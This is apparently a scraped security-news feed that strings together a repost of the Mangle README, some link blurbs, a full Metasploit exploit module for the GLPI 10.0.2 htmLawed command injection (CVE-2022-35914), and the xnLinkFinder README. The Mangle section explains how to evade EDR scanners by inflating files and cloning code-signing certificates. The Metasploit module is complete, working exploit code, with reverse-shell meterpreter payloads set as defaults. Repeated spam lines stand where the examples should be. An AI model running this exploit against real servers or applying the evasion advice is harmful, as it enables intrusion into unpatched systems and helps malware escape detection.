Authored By Tyl0us Featured at Source Zero Con 2022 Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known Indicators of Compromise (https://www.kitploit.com/search/label/Indicators%20of%20Compromise) (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files. In doing so, Mangle helps loaders evade on-disk and in-memory scanners.
Contributing Mangle was developed in Golang. Install The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install the dependencies. To install them, run the following commands: go get github.com/Binject/debug/pe
Then build it go build Mangle.go
Important While Mangle is written in Golang, a lot of the features are designed to work on executable files from other languages. At the time of release, the only feature that is Golang specific is the string manipulation (https://www.kitploit.com/search/label/Manipulation) part. Usage ./mangle -h

_____ .__
/ \ _____ ____ ____ | | ____
/ \ / \\__ \ / \ / ___\| | _/ __ \
/ Y \/ __ \| | \/ /_/ > |_\ ___/
\____|__ (____ /___| /\___ /|____/\___ >
\/ \/ \//_____/ \/
(@Tyl0us)
Usage of ./Mangle:
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by

Strings Mangle takes the input executable and looks for known strings that security products look for or alert on. These strings alone are not the sole point of detection. Often, these strings are in conjunction with other data points and pieces of telemetry (https://www.kitploit.com/search/label/Telemetry) for detection and prevention. Mangle finds these known strings and replaces the hex values with random ones to remove them. IMPORTANT: Mangle replaces the exact size of the strings it’s manipulating. It doesn’t add any more or any less, as this would create misalignments and instabilities in the file. Mangle does this using the -M command-line option. Currently, Mangle only does Golang files but as time goes on other languages will be added. If you know of any for other languages, please open an issue ticket and submit them. Before

___________________________
@hacking_Attack
@Hacking_Video

After

___________________________
@hacking_Attack
@Hacking_Video

Inflate Pretty much all EDRs can’t scan both on disk or in memory files beyond a certain size. This simply stems from the fact that large files take longer to review, scan, or monitor. EDRs do not want to impact performance (https://www.kitploit.com/search/label/Performance) by slowing down the user's productivity. Mangle inflates files by creating a padding of Null bytes (Zeros) at the end of the file. This ensures that nothing inside the file is impacted. To inflate an executable, use the -S command-line option along with the number of bytes you want to add to the file. Large payloads are really not an issue anymore with how fast Internet speeds are, that being said, it's not recommended to make a 2 gig file. Based on test cases across numerous userland and kernel EDRs, it is recommended to increase the size by either 95-100 megabytes. Because vendors do not check large files, the activity goes unnoticed, resulting in the successful execution of shellcode. Example:

___________________________
@hacking_Attack
@Hacking_Video

Certificate Mangle also contains the ability to take the full chain and all attributes from a legitimate code-signing certificate from a file and copy it onto another file. This includes the signing date, counter signatures, and other measurable attributes. While this feature may sound similar to another tool I developed, Limelighter (https://github.com/Tylous/Limelighter), the major difference between the two is that Limelighter (https://www.kitploit.com/search/label/Limelighter) makes a fake certificate based off a domain and signs it with the current date and time, versus using valid attributes where the timestamp is taken from when the original file. This option can use DLL or .exe files to copy using the -C command-line option, along with the path to the file you want to copy the certificate from.

___________________________
@hacking_Attack
@Hacking_Video

Credit Special thanks to Jessica of SuperNovasStore for creating the logo. Special thanks to Binject for his repo (https://github.com/Binject/debug)

Download Mangle (https://github.com/optiv/Mangle)

___________________________
@hacking_Attack
@Hacking_Video

Support supports a Hacker
https://mechboy.medium.com/support-supports-a-hacker-be9931104923?source=rss------bug_bounty-5

Manipulating user accounts via HelpdeskContinue reading on Medium » (https://mechboy.medium.com/support-supports-a-hacker-be9931104923?source=rss------bug_bounty-5)

HTTP request smuggling Explained and Exploited Part 0x3
https://infosecwriteups.com/http-request-smuggling-explained-and-exploited-part-0x3-b61623287603?source=rss------bug_bounty-5

Hi! My name is Hashar Mujahid, and today we will continue to discuss what HTTP request smuggling vulnerabilities are and how we can…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/http-request-smuggling-explained-and-exploited-part-0x3-b61623287603?source=rss------bug_bounty-5)

Exploit Collector
GLPI 10.0.2 Command Injection

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.

SHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GLPI htmLawed php command injection',
'Description' => %q{
This exploit takes advantage of a unauthenticated php command injection available
from GLPI versions 10.0.2 and below to execute a command.
},
'License' => MSF_LICENSE,
'Author' => [
'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc
'bwatters-r7' # module
],
'References' => [
['CVE', '2022-35914' ],
['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'CmdStagerFlavor' => [ 'printf' ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
},
'Type' => :linux_dropper
}
],
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end

def populate_values
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'connection' => 'keep-alive',
'accept' => '*/*'
})
@html = res.get_html_document
@token = @html.at_xpath('//input[@id="token"]')['value']
vprint_status("token = #{@token}")

# sometimes I got > 1 sid. We must use the last one.
@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
vprint_status("sid = #{@sid}")
rescue NoMethodError => e
elog('Failed to retrieve token or sid', error: e)
end
end

def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end

def check
populate_values if @html_doc.nil?
if @token.nil? || @sid.nil? || @html.nil?
return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
end
return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')

return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

end Source:packetstormsecurity.com

Offensive Security Methodology Repo
https://www.reddit.com/r/redteamsec/comments/yd48xv/offensive_security_methodology_repo/

<!-- SC_OFF -->Hello repo under creation containing testing methodology and techniques for wireless, internal, external engagement and others cool stuff to share ;) https://github.com/lutzenfried/Methodology <!-- SC_ON --> submitted by /u/lutzenfried (https://www.reddit.com/user/lutzenfried)
[link] (https://www.reddit.com/r/redteamsec/comments/yd48xv/offensive_security_methodology_repo/) [comments] (https://www.reddit.com/r/redteamsec/comments/yd48xv/offensive_security_methodology_repo/)

Kali Linux Tutorials
xnLinkFinder : A Python Tool Used To Discover Endpoints And Potential Parameters

xnLinkFinder is a tool used to discover endpoints (and potential parameters) for a given target. It can find them by:

* crawling a target (pass a domain/URL)
* crawling multiple targets (pass a file of domains/URLs)
* searching files in a given directory (pass a directory name)
* get them from a Burp project (pass location of a Burp XML file)
* get them from an OWASP ZAP project (pass location of a ZAP ASCII message file)
* processing a waymore results directory (searching archived response files from waymore -mode Rand also requesting URLs from waymore.txtand the original URLs from index.txt– see waymore README.md)

The python script is based on the link finding capabilities of my Burp extension GAP. As a starting point, I took the amazing tool LinkFinder by Gerben Javado, and used the Regex for finding links, but with additional improvements to find even more. InstallationxnLinkFinder supports Python 3.
$ git clone https://github.com/xnl-h4ck3r/xnLinkFinder.git
$ cd xnLinkFinder
$ sudo python setup.py install UsageArgLong ArgDescription-i–inputInput a: URL, text file of URLs, a Directory of files to search, a Burp XML output file or an OWASP ZAP output file.-o–outputThe file to save the Links output to, including path if necessary (default: output.txt). If set to clithen output is only written to STDOUT. If the file already exist it will just be appended to (and de-duplicated) unless option -owis passed.-op–output-paramsThe file to save the Potential Parameters output to, including path if necessary (default: parameters.txt). If set to clithen output is only written to STDOUT (but not piped to another program). If the file already exist it will just be appended to (and de-duplicated) unless option -owis passed.-ow–output-overwriteIf the output file already exists, it will be overwritten instead of being appended to.-sp–scope-prefixAny links found starting with /will be prefixed with scope domains in the output instead of the original link. If the passed value is a valid file name, that file will be used, otherwise the string literal will be used.-spo–scope-prefix-originalIf argument -spis passed, then this determines whether the original link starting with /is also included in the output (default: false)-sf–scope-filterWill filter output links to only include them if the domain of the link is in the scope specified. If the passed value is a valid file name, that file will be used, otherwise the string literal will be used.-c–cookies †Add cookies to pass with HTTP requests. Pass in the format 'name1=value1; name2=value2;'-H–headers †Add custom headers to pass with HTTP requests. Pass in the format 'Header1: value1; Header2: value2;'-ra–regex-afterRegEx for filtering purposes against found endpoints before output (e.g. /api/v[0-9]\.[0-9]\*). If it matches, the link is output.-d–depth †The level of depth to search. For example, if a value of 2 is passed, then all links initially found will then be searched for more links (default: 1). This option is ignored for Burp files because they can be huge and consume lots of memory. It is also advisable to use the -sp(--scope-prefix) argument to ensure a request to links found without a domain can be attempted.-p–processes †Basic multithreading is done when getting requests for a URL, or file of URLs (not a Burp file). This argument determines the number of processes (threads) used (default: 25)-x–excludeAdditional Link exclusions (to the list in config.yml) in a comma separated list, e.g. careers,forum-orig–originWhether you want the origin of the link to be in the output. Displayed as LINK-URL [ORIGIN-URL]in th[...]

e output (default: false)-t–timeout †How many seconds to wait for the server to send data before giving up (default: 10 seconds)-inc–includeInclude input (-i) links in the output (default: false)-u–user-agent †What User Agents to get links for, e.g. -u desktop mobile-insecure†Whether TLS certificate checks should be disabled when making requests (delfault: false)-s429†Stop when > 95 percent of responses return 429 Too Many Requests (default: false)-s403†Stop when > 95 percent of responses return 403 Forbidden (default: false)-sTO†Stop when > 95 percent of requests time out (default: false)-sCE†Stop when > 95 percent of requests have connection errors (default: false)-m–memory-thresholdThe memory threshold percentage. If the machines memory goes above the threshold, the program will be stopped and ended gracefully before running out of memory (default: 95)-mfs–max-file-size †The maximum file size (in bytes) of a file to be checked if -i is a directory. If the file size os over, it will be ignored (default: 500 MB). Setting to 0 means no files will be ignored, regardless of size..-replay-proxy†For active link finding with URL (or file of URLs), replay the requests through this proxy.-ascii-onlyWhether links and parameters will only be added if they only contain ASCII characters. This can be useful when you know the target is likely to use ASCII characters and you also get a number of false positives from binary files for some reason.-v–verboseVerbose output-vv–vverboseIncreased verbose output–versionShow current version number.-h–helpshow the help message and exit
† NOT RELEVANT FOR INPUT OF DIRECTORY, BURP XML FILE OR OWASP ZAP FILE config.ymlThe config.ymlfile has the keys which can be updated to suit your needs:

* linkExclude– A comma separated list of strings (e.g. .css,.jpg,.jpegetc.) that all links are checked against. If a link includes any of the strings then it will be excluded from the output. If the input is a directory, then file names are checked against this list.
* contentExclude– A comma separated list of strings (e.g. text/css,image/jpeg,image/jpgetc.) that all responses Content-Typeheaders are checked against. Any responses with the these content types will be excluded and not checked for links.
* fileExtExclude– A comma separated list of strings (e.g. .zip,.gz,.taretc.) that all files in Directory mode are checked against. If a file has one of those extensions it will not be searched for links.
* regexFiles– A list of file types separated by a pipe character (e.g. php|php3|php5etc.). These are used in the Link Finding Regex when there are findings that aren’t obvious links, but are interesting file types that you want to pick out. If you add to this list, ensure you escape any dots to ensure correct regex, e.g. js\.map* respParamLinksFound† – Whether to get potential parameters from links found in responses: Trueor False* respParamPathWords† – Whether to add path words in retrieved links as potential parameters: Trueor False* respParamJSON† – If the MIME type of the response contains JSON, whether to add JSON Key values as potential parameters: Trueor False* respParamJSVars† – Whether javascript variables set with var, letor constare added as potential parameters: Trueor False* respParamXML† – If the MIME type of the response contains XML, whether to add XML attributes values as potential parameters: Trueor False* respParamInputField† – If the MIME type of the response contains HTML, whether to add NAME and ID attributes of any INPUT fields as potential parameters: Trueor False* respParamMetaName† [...]

– If the MIME type of the response contains HTML, whether to add NAME attributes of any META tags as potential parameters: Trueor False† IF THESE ARE NOT FOUND IN THE CONFIG FILE THEY WILL DEFAULT TO TrueExamplesFind Links from a specific target – Basicpython3 xnLinkFinder.py -i target.com Find Links from a specific target – DetailedIdeally, provide scope prefix (-sp) with the primary domain (including schema), and a scope filter (-sf) to filter the results only to relevant domains (this can be a file or in scope domains). Also, you can pass cookies and customer headers to ensure you find links only available to authorised users. Specifying the User Agent (-u desktop mobile) will first search for all links using desktop User Agents, and then try again using mobile user agents. There could be specific endpoints that are related to the user agent given. Giving a depth value (-d) will keep sending request to links found on the previous depth search to find more links.
python3 xnLinkFinder.py -i target.com -sp target_prefix.txt -sf target_scope.txt -spo -inc -vv -H 'Authorization: Bearer XXXXXXXXXXXXXX' -c 'SessionId=MYSESSIONID' -u desktop mobile -d 10 Find Links from a list of URLs – BasicIf you have a file of JS file URLs for example, you can look for links in those:
python3 xnLinkFinder.py -i target_js.txt Find Links from a files in a directory – BasicIf you have a files, e.g. JS files, HTTP responses, etc. you can look for links in those:
python3 xnLinkFinder.py -i ~/Tools/waymore/results/target.com
NOTE: Sub directories are also checked. The -mfsoption can be specified to skip files over a certain size. Find Links from a Burp project – BasicIn Burp, select the items you want to search by highlighting the scope for example, right clicking and selecting the Save selected items. Ensure that the option base64-encode requests and responsesoption is checked before saving. To get all links from the file (even with HUGE files, you’ll be able to get all the links):
python3 xnLinkFinder.py -i target_burp.xml
NOTE: xnLinkFinder makes the assumption that if the first line of the file passed with -istarts with then you are trying to process a Burp file. Find Links from a Burp project – DetailedIdeally, provide scope prefix (-sp) with the primary domain (including schema), and a scope filter (-sf) to filter the results only to relevant domains.
python3 xnLinkFinder.py -i target_burp.xml -o target_burp.txt -sp https://www.target.com -sf target.* -ow -spo -inc -vv Find Links from an OWASP ZAP project – BasicIn ZAP, select the items you want to search by highlighting the History for example, clicking menu Reportand selecting Export Messages to File.... This will let you save an ASCII text file of all requests and responses you want to search. To get all links from the file (even with HUGE files, you’ll be able to get all the links):
python3 xnLinkFinder.py -i target_zap.txt
NOTE: xnLinkFinder makes the assumption that if the first line of the file passed with -iis in the format ==== 99 ==========for example, then you are trying to process an OWASP ZAP ASCII text file. Find Links from a Waymore results directoryThe waymore tool can be used to get URLs from various third party APIs, and also download archived responses from archive.org (Wayback Machine). Passing a waymore results directory to xnLinKFinder will search the contents of archived responses, and also request URLs from waymore.txtand also the archived URLs from index.txtand get more links from those responses.
python3 xnLinkFinder.py -i ~/Tools/waymore/results/target.com
NOTE: It is passed as a normal directory, but xnLinkFinder will determine it is a waymore results directory and process respectively[...]